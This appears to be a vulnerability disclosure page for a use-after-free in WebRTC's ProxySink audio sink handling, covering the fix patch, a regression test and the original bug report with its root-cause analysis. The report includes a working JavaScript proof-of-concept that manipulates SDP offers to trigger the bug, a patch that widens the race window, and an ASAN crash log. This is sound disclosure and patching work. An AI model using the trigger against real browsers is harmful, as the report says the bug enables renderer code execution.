CVE-2026-4446
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifmedia/engine/webrtc_voice_engine.cc |
modified | |
formedia/engine/webrtc_voice_engine.cc |
modified | |
TEST_Pmedia/engine/webrtc_voice_engine_unittest.cc |
modified |
Files Changed
media/engine/webrtc_voice_engine.ccmedia/engine/webrtc_voice_engine_unittest.cc
Patch
From af411f52472297833af0813b727c7b4644221f04 Mon Sep 17 00:00:00 2001
From: Tommi <tommi@webrtc.org>
Date: Thu, 05 Mar 2026 23:12:04 +0100
Subject: [PATCH] Update raw audio sink management for unsignaled streams
Ensure the default raw audio sink is correctly detached when an
unsignaled stream is removed or promoted. Previously, when a stream
was deregistered, the associated ProxySink could retain a bad
pointer to the default sink.
This change modifies the VoiceEngine to:
* Explicitly clear the raw audio sink from a stream when it is
removed from the unsignaled stream list.
* Properly hand over the default sink to the next available
unsignaled stream if the current primary stream is deregistered.
* Simplify the logic for detaching the sink from the previous latest
stream when a new unsignaled stream is identified.
Bug: chromium:486421954
Fixes: chromium:486421954
Change-Id: Ied7062e95a1749a9d8f95f77ec2b0dc81ab00ad1
Reviewed-on: https://webrtc-review.googlesource.com/c/src/+/454040
Reviewed-by: Per Åhgren <peah@webrtc.org>
Commit-Queue: Tomas Gunnarsson <tommi@webrtc.org>
Cr-Commit-Position: refs/heads/main@{#47074}
---
diff --git a/media/engine/webrtc_voice_engine.cc b/media/engine/webrtc_voice_engine.cc
index 857f6db..d13ce53 100644
--- a/media/engine/webrtc_voice_engine.cc
+++ b/media/engine/webrtc_voice_engine.cc
@@ -2698,9 +2698,14 @@
// it up to the *latest* unsignaled stream we've seen, in order to support
// the case where the SSRC of one unsignaled stream changes.
if (default_sink_) {
- for (uint32_t drop_ssrc : unsignaled_recv_ssrcs_) {
- auto it = recv_streams_.find(drop_ssrc);
- it->second->SetRawAudioSink(nullptr);
+ // The new ssrc has already been appended to `unsignaled_recv_ssrcs_`.
+ // If there are 2 or more streams, the stream at `size - 2` is the previous
+ // latest stream which currently possesses the default sink.
+ if (unsignaled_recv_ssrcs_.size() >= 2) {
+ // Detach the default sink from the previous latest stream.
+ uint32_t prev_ssrc =
+ unsignaled_recv_ssrcs_[unsignaled_recv_ssrcs_.size() - 2];
+ SetRawAudioSink(prev_ssrc, nullptr);
}
std::unique_ptr<AudioSinkInterface> proxy_sink(
new ProxySink(default_sink_.get()));
@@ -2907,7 +2912,22 @@
RTC_DCHECK_RUN_ON(worker_thread_);
auto it = absl::c_find(unsignaled_recv_ssrcs_, ssrc);
if (it != unsignaled_recv_ssrcs_.end()) {
+ bool is_latest_unsignaled = (it == unsignaled_recv_ssrcs_.end() - 1);
unsignaled_recv_ssrcs_.erase(it);
+ if (default_sink_) {
+ // Detach the default sink from the deregistered stream. This is needed
+ // to prevent the ProxySink from holding a dangling pointer to the
+ // default_sink_.
+ SetRawAudioSink(ssrc, nullptr);
+ if (is_latest_unsignaled && !unsignaled_recv_ssrcs_.empty()) {
+ // The deregistered stream was the latest unsignaled stream, so it held
+ // the default sink. Since it was removed, we must pass the default sink
+ // to the *new* latest unsignaled stream via a new ProxySink.
+ std::unique_ptr<AudioSinkInterface> proxy_sink(
+ new ProxySink(default_sink_.get()));
+ SetRawAudioSink(unsignaled_recv_ssrcs_.back(), std::move(proxy_sink));
+ }
+ }
return true;
}
return false;
diff --git a/media/engine/webrtc_voice_engine_unittest.cc b/media/engine/webrtc_voice_engine_unittest.cc
index 831ca66..0d66c96 100644
--- a/media/engine/webrtc_voice_engine_unittest.cc
+++ b/media/engine/webrtc_voice_engine_unittest.cc
@@ -3708,6 +3708,37 @@
EXPECT_EQ(kNetworkUp, call_.GetNetworkState(MediaType::VIDEO));
}
+// Test that when an unsignaled stream is promoted to a signaled stream,
+// its ProxySink doesn't hold a dangling raw pointer if the default sink
+// is subsequently destroyed.
+TEST_P(WebRtcVoiceEngineTestFake,
+ ProxySinkSurvivesUnsignaledToSignaledPromotion) {
+ EXPECT_TRUE(SetupChannel());
+ std::unique_ptr<FakeAudioSink> fake_sink(new FakeAudioSink());
+
+ // Set the default sink.
+ receive_channel_->SetDefaultRawAudioSink(std::move(fake_sink));
+
+ // Deliver an RTP packet to create an unsignaled stream.
+ DeliverPacket(kPcmuFrame);
+ const AudioSinkInterface* proxy_sink = GetRecvStream(kSsrc1).sink();
+ EXPECT_NE(nullptr, proxy_sink);
+
+ // Promote the unsignaled stream to a signaled stream.
+ StreamParams sp = StreamParams::CreateLegacy(kSsrc1);
+ EXPECT_TRUE(receive_channel_->AddRecvStream(sp));
+
+ // The proxy sink should be removed from the stream upon promotion.
+ EXPECT_EQ(nullptr, GetRecvStream(kSsrc1).sink());
+
+ // Destroy the original sink by passing nullptr.
+ receive_channel_->SetDefaultRawAudioSink(nullptr);
+
+ // Note: calling proxy_sink->OnData would crash here if the proxy_sink
+ // would still be attached to the stream and hold a dangling pointer to
+ // default_sink_. But we've verified that it's detached, so that won't happen.
+}
+
// Test that playout is still started after changing parameters
TEST_P(WebRtcVoiceEngineTestFake, PreservePlayoutWhenRecreateRecvStream) {
SetupRecvStream();
Regression Test / PoC
diff --git a/media/engine/webrtc_voice_engine_unittest.cc b/media/engine/webrtc_voice_engine_unittest.cc
index 831ca66..0d66c96 100644
--- a/media/engine/webrtc_voice_engine_unittest.cc
+++ b/media/engine/webrtc_voice_engine_unittest.cc
@@ -3708,6 +3708,37 @@
EXPECT_EQ(kNetworkUp, call_.GetNetworkState(MediaType::VIDEO));
}
+// Test that when an unsignaled stream is promoted to a signaled stream,
+// its ProxySink doesn't hold a dangling raw pointer if the default sink
+// is subsequently destroyed.
+TEST_P(WebRtcVoiceEngineTestFake,
+ ProxySinkSurvivesUnsignaledToSignaledPromotion) {
+ EXPECT_TRUE(SetupChannel());
+ std::unique_ptr<FakeAudioSink> fake_sink(new FakeAudioSink());
+
+ // Set the default sink.
+ receive_channel_->SetDefaultRawAudioSink(std::move(fake_sink));
+
+ // Deliver an RTP packet to create an unsignaled stream.
+ DeliverPacket(kPcmuFrame);
+ const AudioSinkInterface* proxy_sink = GetRecvStream(kSsrc1).sink();
+ EXPECT_NE(nullptr, proxy_sink);
+
+ // Promote the unsignaled stream to a signaled stream.
+ StreamParams sp = StreamParams::CreateLegacy(kSsrc1);
+ EXPECT_TRUE(receive_channel_->AddRecvStream(sp));
+
+ // The proxy sink should be removed from the stream upon promotion.
+ EXPECT_EQ(nullptr, GetRecvStream(kSsrc1).sink());
+
+ // Destroy the original sink by passing nullptr.
+ receive_channel_->SetDefaultRawAudioSink(nullptr);
+
+ // Note: calling proxy_sink->OnData would crash here if the proxy_sink
+ // would still be attached to the stream and hold a dangling pointer to
+ // default_sink_. But we've verified that it's detached, so that won't happen.
+}
+
// Test that playout is still started after changing parameters
TEST_P(WebRtcVoiceEngineTestFake, PreservePlayoutWhenRecreateRecvStream) {
SetupRecvStream();
Original Bug Report
Use-after-free in WebRTC ProxySink via unsignaled-to-signaled stream promotion leads to renderer compromise
Title
Use-after-free in WebRTC ProxySink via unsignaled-to-signaled stream promotion leads to renderer compromise
Summary
A use-after-free vulnerability exists in the WebRTC voice engine’s audio sink management. When an unsignaled receive stream is promoted to a signaled stream during SDP renegotiation, the ProxySink object attached to the stream retains a raw pointer to the default_sink_ backing object. Because the promotion clears unsignaled_recv_ssrcs_, the subsequent call to SetDefaultRawAudioSink(nullptr) skips cleaning up the ProxySink and directly destroys the backing object. The audio output thread then dereferences the dangling pointer through ProxySink::OnData(), resulting in a heap-use-after-free. An attacker who controls the SDP offer content during a WebRTC session can trigger this from JavaScript, achieving arbitrary code execution in the renderer process.
Bisect
Introducing Commit: 4904fb6f462e08da5b8ad7492781929fa5c0780c
- Date: 2017-02-17
- Author: solenberg@webrtc.org
- Review: https://codereview.webrtc.org/2685573003
Root Cause
The WebRTC voice engine uses a ProxySink wrapper class to forward audio data from a receive stream to the current default audio sink. This proxy is created inside SetDefaultRawAudioSink and attached to the most recent unsignaled receive stream. The proxy stores a raw pointer to the underlying AudioSinkInterface object (which is a RemoteAudioSource::AudioDataProxy instance owned by default_sink_):
// third_party/webrtc/media/engine/webrtc_voice_engine.cc
class ProxySink : public AudioSinkInterface {
public:
explicit ProxySink(AudioSinkInterface* sink) : sink_(sink) {
RTC_DCHECK(sink);
}
void OnData(const Data& audio) override {
sink_->OnData(audio); // Dereferences raw pointer — UAF when sink_ is dangling
}
private:
AudioSinkInterface* sink_; // Raw pointer, not raw_ptr<>
};
The SetDefaultRawAudioSink method only updates the ProxySink on a stream when unsignaled_recv_ssrcs_ is non-empty. If the vector is empty, it skips the ProxySink update entirely and proceeds to replace default_sink_, which destroys the previous backing object:
// third_party/webrtc/media/engine/webrtc_voice_engine.cc
void WebRtcVoiceReceiveChannel::SetDefaultRawAudioSink(
std::unique_ptr<AudioSinkInterface> sink) {
RTC_DCHECK_RUN_ON(worker_thread_);
if (!unsignaled_recv_ssrcs_.empty()) {
std::unique_ptr<AudioSinkInterface> proxy_sink(
sink ? new ProxySink(sink.get()) : nullptr);
SetRawAudioSink(unsignaled_recv_ssrcs_.back(), std::move(proxy_sink));
}
// When unsignaled_recv_ssrcs_ is empty, the ProxySink on the promoted stream
// is NOT updated, but default_sink_ is destroyed here:
default_sink_ = std::move(sink);
}
The vulnerability is triggered through the unsignaled-to-signaled stream promotion path. When AddRecvStream is called for an SSRC that already exists as an unsignaled stream, it calls MaybeDeregisterUnsignaledRecvStream, which removes the SSRC from unsignaled_recv_ssrcs_ and returns true. The stream object itself is kept alive (promoted), and the ProxySink attached to it is left untouched:
// third_party/webrtc/media/engine/webrtc_voice_engine.cc
// Inside AddRecvStream:
if (MaybeDeregisterUnsignaledRecvStream(ssrc)) {
// SSRC removed from unsignaled_recv_ssrcs_, but ProxySink still on the stream
auto stream_ids = sp.stream_ids();
std::string sync_group = stream_ids.empty() ? std::string() : stream_ids[0];
call_->OnUpdateSyncGroup(recv_streams_[ssrc]->stream(),
std::move(sync_group));
return true; // Stream promoted — ProxySink with raw pointer survives
}
// third_party/webrtc/media/engine/webrtc_voice_engine.cc
bool WebRtcVoiceReceiveChannel::MaybeDeregisterUnsignaledRecvStream(
uint32_t ssrc) {
RTC_DCHECK_RUN_ON(worker_thread_);
auto it = absl::c_find(unsignaled_recv_ssrcs_, ssrc);
if (it != unsignaled_recv_ssrcs_.end()) {
unsignaled_recv_ssrcs_.erase(it); // Vector becomes empty
return true;
}
return false;
}
After the promotion, the SDP processing layer calls GetRestartFunctionForMediaChannel_w in AudioRtpReceiver, which transitions the receiver from unsignaled (ssrc = nullopt) to signaled (ssrc = N). This first calls Stop(nullopt), which invokes SetDefaultRawAudioSink(nullptr), then calls Start(ssrc), which attaches a new AudioDataProxy via SetRawAudioSink:
// third_party/webrtc/pc/audio_rtp_receiver.cc
void AudioRtpReceiver::GetRestartFunctionForMediaChannel_w(
std::optional<uint32_t> ssrc,
bool track_enabled,
MediaSourceInterface::SourceState state) {
// ...
if (state != MediaSourceInterface::kInitializing) {
if (signaled_ssrc_ == ssrc)
return;
source_->Stop(media_channel_, signaled_ssrc_); // signaled_ssrc_ is nullopt
// Stop(nullopt) → SetDefaultRawAudioSink(nullptr) → DESTROYS default_sink_
// But ProxySink on the promoted stream still holds a raw pointer to the now-freed object
}
signaled_ssrc_ = std::move(ssrc);
source_->Start(media_channel_, signaled_ssrc_); // Start(ssrc) → SetRawAudioSink(ssrc, new AudioDataProxy)
// Between Stop and Start, the audio output thread may call ProxySink::OnData()
// which dereferences the dangling sink_ pointer — UAF
// ...
}
The RemoteAudioSource::Stop and Start methods delegate to the voice channel:
// third_party/webrtc/pc/remote_audio_source.cc
void RemoteAudioSource::Stop(VoiceMediaReceiveChannelInterface* media_channel,
std::optional<uint32_t> ssrc) {
RTC_DCHECK_RUN_ON(worker_thread_);
RTC_DCHECK(media_channel);
ssrc ? media_channel->SetRawAudioSink(*ssrc, nullptr)
: media_channel->SetDefaultRawAudioSink(nullptr); // ssrc is nullopt → destroys default_sink_
}
The cross-thread race occurs because all of the above logic runs on the WebRTC worker thread, while the audio output thread continuously calls ChannelReceive::GetAudioFrameWithInfo, which acquires a mutex and calls through the audio_sink_ pointer. The audio_sink_ pointer in ChannelReceive points to the ProxySink, and the mutex protects only this outer pointer, not the inner sink_ raw pointer that ProxySink holds. Between the moment SetDefaultRawAudioSink(nullptr) destroys default_sink_ and the moment SetRawAudioSink(ssrc, new_sink) replaces the ProxySink, any audio callback through ProxySink::OnData() dereferences the freed AudioDataProxy object.
The ASAN output confirms the object is “NOT PROTECTED” by MiraclePtr because ProxySink::sink_ is a plain AudioSinkInterface* rather than raw_ptr<AudioSinkInterface>.
Reproduce
To trigger the vulnerability, the attacker controls the SDP offer content during a WebRTC peer connection. In the first negotiation round, the offer is munged to remove all a=ssrc:, a=ssrc-group:, and a=msid: lines, which causes the receiver to process the incoming audio as an unsignaled stream while keeping remote_streams_ empty in BaseChannel. When audio RTP packets arrive, MaybeCreateDefaultReceiveStream creates an unsignaled receive stream with a ProxySink. In the second negotiation round, the offer includes the full SSRC information. Because remote_streams_ was empty from the first round, UpdateRemoteStreams_w does not call ResetUnsignaledRecvStream. Instead, AddRecvStream hits the promote path, clearing unsignaled_recv_ssrcs_ without cleaning up ProxySink, and then GetRestartFunctionForMediaChannel_w destroys default_sink_ while ProxySink still references it.
Save the following as poc.html:
<!DOCTYPE html>
<html>
<head><title>ProxySink UAF PoC</title></head>
<body>
<pre id="log"></pre>
<script>
function log(msg) {
const el = document.getElementById('log');
el.textContent += new Date().toISOString().slice(11,23) + ' ' + msg + '\n';
console.log(msg);
}
function stripStreamsFromSdp(sdp) {
// Remove a=ssrc:, a=ssrc-group:, AND a=msid: lines.
// This makes MediaContentDescription::streams() return EMPTY,
// which means remote_streams_ stays empty in BaseChannel.
// Key: empty remote_streams_ prevents ResetUnsignaledRecvStream from being called
// on the next renegotiation, allowing the promote path to be hit.
return sdp.replace(/a=ssrc:[^\r\n]*\r?\n/g, '')
.replace(/a=ssrc-group:[^\r\n]*\r?\n/g, '')
.replace(/a=msid:[^\r\n]*\r?\n/g, '');
}
async function sleep(ms) {
return new Promise(r => setTimeout(r, ms));
}
async function run() {
log('[*] PoC: ProxySink dangling default_sink_ pointer');
const config = {iceServers: []};
const pc1 = new RTCPeerConnection(config); // sender
const pc2 = new RTCPeerConnection(config); // receiver (target)
pc1.onicecandidate = e => {
if (e.candidate) pc2.addIceCandidate(e.candidate).catch(() => {});
};
pc2.onicecandidate = e => {
if (e.candidate) pc1.addIceCandidate(e.candidate).catch(() => {});
};
pc2.ontrack = e => {
log('[+] pc2 received track: ' + e.track.kind);
// Attach to audio element to force audio rendering pipeline
const audio = document.createElement('audio');
audio.srcObject = e.streams[0] || new MediaStream([e.track]);
audio.autoplay = true;
audio.volume = 0.01; // low volume
audio.play().catch(() => {});
};
log('[*] Getting audio track...');
let stream;
try {
stream = await navigator.mediaDevices.getUserMedia({audio: true});
} catch(e) {
log('[!] getUserMedia failed, creating synthetic audio...');
const ctx = new AudioContext();
const osc = ctx.createOscillator();
osc.frequency.value = 440;
const dest = ctx.createMediaStreamDestination();
osc.connect(dest);
osc.start();
stream = dest.stream;
}
const audioTrack = stream.getAudioTracks()[0];
pc1.addTrack(audioTrack, stream);
log('[*] Added audio track to pc1');
// Phase 1: Negotiate with NO streams info (empty remote_streams_)
// Remove a=ssrc AND a=msid so that streams() is empty.
// This way remote_streams_ stays empty, preventing ResetUnsignaledRecvStream.
// But the transceiver is still created (m-line exists) and goes to unsignaled mode.
log('[*] Phase 1: Creating offer (strip all stream info)...');
let offer1 = await pc1.createOffer();
const ssrcMatch = offer1.sdp.match(/a=ssrc:(\d+)/);
if (ssrcMatch) {
log('[*] Original offer SSRC: ' + ssrcMatch[1]);
}
await pc1.setLocalDescription(offer1);
// Strip both a=ssrc AND a=msid so streams() is empty
const strippedSdp = stripStreamsFromSdp(offer1.sdp);
log('[*] Stripped offer SDP (no a=ssrc, no a=msid) for pc2');
log('[*] This keeps remote_streams_ empty, avoiding ResetUnsignaledRecvStream');
await pc2.setRemoteDescription({type: 'offer', sdp: strippedSdp});
let answer1 = await pc2.createAnswer();
await pc2.setLocalDescription(answer1);
await pc1.setRemoteDescription(answer1);
log('[*] Phase 1 negotiation complete. Waiting for audio RTP to flow...');
// Wait for connection + RTP to trigger MaybeCreateDefaultReceiveStream
await new Promise(resolve => {
let resolved = false;
pc2.onconnectionstatechange = () => {
log('[*] pc2 connection state: ' + pc2.connectionState);
if (pc2.connectionState === 'connected' && !resolved) {
resolved = true;
setTimeout(resolve, 2000);
}
};
setTimeout(() => { if (!resolved) { resolved = true; resolve(); } }, 10000);
});
log('[*] Audio flowing. Unsignaled recv stream created, ProxySink wrapping default_sink_.');
// Phase 2: Renegotiate WITH SSRC (trigger promote then UAF)
// UpdateRemoteStreams_w:
// remote_streams_ is EMPTY (no old streams to check, ResetUnsignaledRecvStream NOT called)
// New stream has SSRC X, AddRecvStream(X), MaybeDeregisterUnsignaledRecvStream, PROMOTE
// (removes X from unsignaled_recv_ssrcs_, but ProxySink stays on stream)
//
// Then GetRestartFunctionForMediaChannel_w(X):
// Stop(nullopt) calls SetDefaultRawAudioSink(nullptr)
// unsignaled_recv_ssrcs_ empty, skip ProxySink cleanup, DESTROY default_sink_
// (race window: audio thread calls ProxySink::OnData on freed object)
// Start(X) calls SetRawAudioSink(X, new AudioDataProxy) which replaces ProxySink
log('[!] Phase 2: Renegotiating WITH SSRC to trigger promote...');
let offer2 = await pc1.createOffer();
log('[*] New offer SSRC: ' + (offer2.sdp.match(/a=ssrc:(\d+)/) || ['','none'])[1]);
await pc1.setLocalDescription(offer2);
log('[!] Setting remote description with SSRC - triggering promote + UAF window...');
await pc2.setRemoteDescription(offer2);
let answer2 = await pc2.createAnswer();
await pc2.setLocalDescription(answer2);
await pc1.setRemoteDescription(answer2);
log('[*] Phase 2 complete. If ASAN did not fire, waiting for audio callbacks...');
await sleep(3000);
log('[*] PoC complete. Check stderr for ASAN output.');
}
run().catch(e => log('[ERROR] ' + e.message + '\n' + e.stack));
</script>
</body>
</html>
Because this is a cross-thread race condition, the vulnerable window between default_sink_ destruction and ProxySink replacement is only a few instructions wide on the worker thread. To reliably reproduce the crash under ASAN, apply the following patch to widen the race window by inserting a 500ms sleep after default_sink_ is destroyed while unsignaled_recv_ssrcs_ is empty (the exact condition where ProxySink is left dangling):
diff --git a/third_party/webrtc/media/engine/webrtc_voice_engine.cc b/third_party/webrtc/media/engine/webrtc_voice_engine.cc
--- a/third_party/webrtc/media/engine/webrtc_voice_engine.cc
+++ b/third_party/webrtc/media/engine/webrtc_voice_engine.cc
@@ -88,6 +88,7 @@
#include "rtc_base/checks.h"
#include "rtc_base/dscp.h"
+#include "rtc_base/thread.h"
#include "rtc_base/experiments/struct_parameters_parser.h"
#include "rtc_base/logging.h"
#include "rtc_base/network/sent_packet.h"
@@ -2850,6 +2851,12 @@ void WebRtcVoiceReceiveChannel::SetDefaultRawAudioSink(
SetRawAudioSink(unsignaled_recv_ssrcs_.back(), std::move(proxy_sink));
}
default_sink_ = std::move(sink);
+ // Widen the race window for reproduction: after default_sink_ is destroyed
+ // (sink was nullptr), the ProxySink on the promoted stream still holds a
+ // dangling pointer. Sleep to let the audio thread hit ProxySink::OnData().
+ if (!default_sink_ && unsignaled_recv_ssrcs_.empty()) {
+ Thread::SleepMs(500);
+ }
}
Build Chromium with ASAN, apply the patch, and run:
cd ~/chromium/src
git apply wrtc077_reproduce.patch
autoninja -C out/asan-release chrome
ASAN_OPTIONS=detect_odr_violation=0 xvfb-run -a \
out/asan-release/chrome \
--no-sandbox --disable-gpu \
--use-fake-device-for-media-stream \
--use-fake-ui-for-media-stream \
--autoplay-policy=no-user-gesture-required \
--enable-logging=stderr \
--user-data-dir=$(mktemp -d) \
poc.html
ASAN output:
==1804752==ERROR: AddressSanitizer: heap-use-after-free on address 0x7b6a44d42e30 at pc 0x7f4aaa0ceee2 bp 0x7b4981cd7400 sp 0x7b4981cd73f8
READ of size 8 at 0x7b6a44d42e30 thread T17 (AudioOutputDevi)
#0 0x7f4aaa0ceee1 in webrtc::(anonymous namespace)::ProxySink::OnData(webrtc::AudioSinkInterface::Data const&) third_party/webrtc/media/engine/webrtc_voice_engine.cc:138:12
#1 0x7f4aaa98dc91 in webrtc::voe::(anonymous namespace)::ChannelReceive::GetAudioFrameWithInfo(int, webrtc::AudioFrame*) third_party/webrtc/audio/channel_receive.cc:440:20
#2 0x7f4aaab90554 in webrtc::AudioMixerImpl::GetAudioFromSources(int) third_party/webrtc/modules/audio_mixer/audio_mixer_impl.cc:137:42
#3 0x7f4aaab9015e in webrtc::AudioMixerImpl::Mix(unsigned long, webrtc::AudioFrame*) third_party/webrtc/modules/audio_mixer/audio_mixer_impl.cc:107:27
#4 0x7f4aaa985bea in webrtc::AudioTransportImpl::PullRenderData(int, int, unsigned long, unsigned long, void*, long*, long*) third_party/webrtc/audio/audio_transport_impl.cc:273:11
#5 0x7f4a5b72e2a1 in blink::WebRtcAudioDeviceImpl::RenderData(media::AudioBus*, int, base::TimeDelta, base::TimeDelta*, media::AudioGlitchInfo const&) third_party/blink/renderer/modules/webrtc/webrtc_audio_device_impl.cc:117:30
#6 0x7f4a5b7402da in blink::WebRtcAudioRenderer::SourceCallback(int, media::AudioBus*) third_party/blink/renderer/modules/webrtc/webrtc_audio_renderer.cc:647:12
#7 0x7f4a5b73fbc1 in blink::WebRtcAudioRenderer::Render(base::TimeDelta, base::TimeTicks, media::AudioGlitchInfo const&, media::AudioBus*) third_party/blink/renderer/modules/webrtc/webrtc_audio_renderer.cc:601:5
#8 0x7f4aadf424f2 in media::AudioOutputDeviceThreadCallback::Process(unsigned int) media/audio/audio_output_device_thread_callback.cc:107:21
#9 0x7f4aadf0377b in media::AudioDeviceThread::ThreadMain() media/audio/audio_device_thread.cc:114:18
#10 0x7f4ac42dde8c in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#11 0x556bcf638316 in asan_thread_start(void*) asan_interceptors.cpp
0x7b6a44d42e30 is located 0 bytes inside of 16-byte region [0x7b6a44d42e30,0x7b6a44d42e40)
freed by thread T10 (WebRTC_W_and_N) here:
#0 0x556bcf674dd2 in operator delete(void*, unsigned long) (/home/test/chromium/src/out/asan-release/chrome+0x6825dd2) (BuildId: 02e60c0f598a1e35)
#1 0x7f4aaa69566e in webrtc::RemoteAudioSource::AudioDataProxy::~AudioDataProxy() third_party/webrtc/pc/remote_audio_source.cc:47:30
#2 0x7f4aaa0c6ba7 in webrtc::WebRtcVoiceReceiveChannel::SetDefaultRawAudioSink(std::__Cr::unique_ptr<webrtc::AudioSinkInterface, std::__Cr::default_delete<webrtc::AudioSinkInterface>>) gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
#3 0x7f4aaa68a835 in webrtc::AudioRtpReceiver::GetRestartFunctionForMediaChannel_w(std::__Cr::optional<unsigned int>, bool, webrtc::MediaSourceInterface::SourceState) third_party/webrtc/pc/audio_rtp_receiver.cc:233:14
#4 0x7f4aaa80c0e5 in void webrtc::FunctionView<void ()>::CallVoidPtr<webrtc::(anonymous namespace)::ScopedOperationsBatcher::Run()::'lambda'()>(webrtc::FunctionView<void ()>::VoidUnion) third_party/abseil-cpp/absl/functional/internal/any_invocable.h:774:1
#5 0x7f4a5ba458e4 in webrtc::ThreadWrapper::ProcessPendingSends() third_party/webrtc/api/function_view.h:96:12
#6 0x7f4a5ba48284 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#7 0x7f4ac4160c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#8 0x7f4ac41e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#9 0x7f4ac41e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
#10 0x7f4ac40033f1 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
#11 0x7f4ac41e37e8 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
#12 0x7f4ac40cb002 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#13 0x7f4ac4279832 in base::Thread::Run(base::RunLoop*) base/threading/thread.cc:361:13
#14 0x7f4ac4279e02 in base::Thread::ThreadMain() base/threading/thread.cc:436:3
#15 0x7f4ac42dde8c in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#16 0x556bcf638316 in asan_thread_start(void*) asan_interceptors.cpp
previously allocated by thread T10 (WebRTC_W_and_N) here:
#0 0x556bcf6741cd in operator new(unsigned long) (/home/test/chromium/src/out/asan-release/chrome+0x68251cd) (BuildId: 02e60c0f598a1e35)
#1 0x7f4aaa6933fd in webrtc::RemoteAudioSource::Start(webrtc::VoiceMediaReceiveChannelInterface*, std::__Cr::optional<unsigned int>) gen/third_party/libc++/src/include/__memory/unique_ptr.h:756:26
#2 0x7f4aaa68a8b8 in webrtc::AudioRtpReceiver::GetRestartFunctionForMediaChannel_w(std::__Cr::optional<unsigned int>, bool, webrtc::MediaSourceInterface::SourceState) third_party/webrtc/pc/audio_rtp_receiver.cc:237:12
#3 0x7f4aaa80c0e5 in void webrtc::FunctionView<void ()>::CallVoidPtr<webrtc::(anonymous namespace)::ScopedOperationsBatcher::Run()::'lambda'()>(webrtc::FunctionView<void ()>::VoidUnion) third_party/abseil-cpp/absl/functional/internal/any_invocable.h:774:1
#4 0x7f4a5ba458e4 in webrtc::ThreadWrapper::ProcessPendingSends() third_party/webrtc/api/function_view.h:96:12
#5 0x7f4a5ba48284 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#6 0x7f4ac4160c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#7 0x7f4ac41e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#8 0x7f4ac41e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
#9 0x7f4ac40033f1 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
#10 0x7f4ac41e37e8 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
#11 0x7f4ac40cb002 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#12 0x7f4ac4279832 in base::Thread::Run(base::RunLoop*) base/threading/thread.cc:361:13
#13 0x7f4ac4279e02 in base::Thread::ThreadMain() base/threading/thread.cc:436:3
#14 0x7f4ac42dde8c in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#15 0x556bcf638316 in asan_thread_start(void*) asan_interceptors.cpp
Thread T17 (AudioOutputDevi) created by T5 (Chrome_ChildIOT) here:
#0 0x556bcf61e0d1 in pthread_create (/home/test/chromium/src/out/asan-release/chrome+0x67cf0d1) (BuildId: 02e60c0f598a1e35)
#1 0x7f4ac42dd54c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
#2 0x7f4aadf02e51 in media::AudioDeviceThread::AudioDeviceThread(media::AudioDeviceThread::Callback*, base::ScopedGeneric<int, base::internal::ScopedFDCloseTraits>, char const*, base::ThreadType) media/audio/audio_device_thread.cc:66:9
Thread T10 (WebRTC_W_and_N) created by T0 (chrome) here:
#0 0x556bcf61e0d1 in pthread_create (/home/test/chromium/src/out/asan-release/chrome+0x67cf0d1) (BuildId: 02e60c0f598a1e35)
#1 0x7f4ac42dd54c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
#2 0x7f4ac42783b0 in base::Thread::StartWithOptions(base::Thread::Options) base/threading/thread.cc:228:26
#3 0x7f4a5aca9671 in blink::PeerConnectionDependencyFactory::CreatePeerConnectionFactory() third_party/blink/renderer/modules/peerconnection/peer_connection_dependency_factory.cc:436:29
SUMMARY: AddressSanitizer: heap-use-after-free third_party/webrtc/media/engine/webrtc_voice_engine.cc:138:12 in webrtc::(anonymous namespace)::ProxySink::OnData(webrtc::AudioSinkInterface::Data const&)
Shadow bytes around the buggy address:
0x7b6a44d42b80: f7 fa 00 fa f7 fa 00 fa f7 fa 00 fa f7 fa 00 fa
0x7b6a44d42c00: f7 fa 00 fa f7 fa 00 fa f7 fa 00 fa f7 fa 00 fa
0x7b6a44d42c80: f7 fa 00 fa f7 fa 00 fa f7 fa fd fa f7 fa fd fa
0x7b6a44d42d00: f7 fa fd fa f7 fa 00 fa f7 fa fd fa f7 fa fd fa
0x7b6a44d42d80: f7 fa 00 00 f7 fa 00 00 f7 fa fd fa f7 fa fd fa
=>0x7b6a44d42e00: f7 fa fd fd f7 fa[fd]fd f7 fa fd fa f7 fa fd fa
0x7b6a44d42e80: f7 fa fd fa f7 fa fd fa f7 fa 00 00 f7 fa fd fd
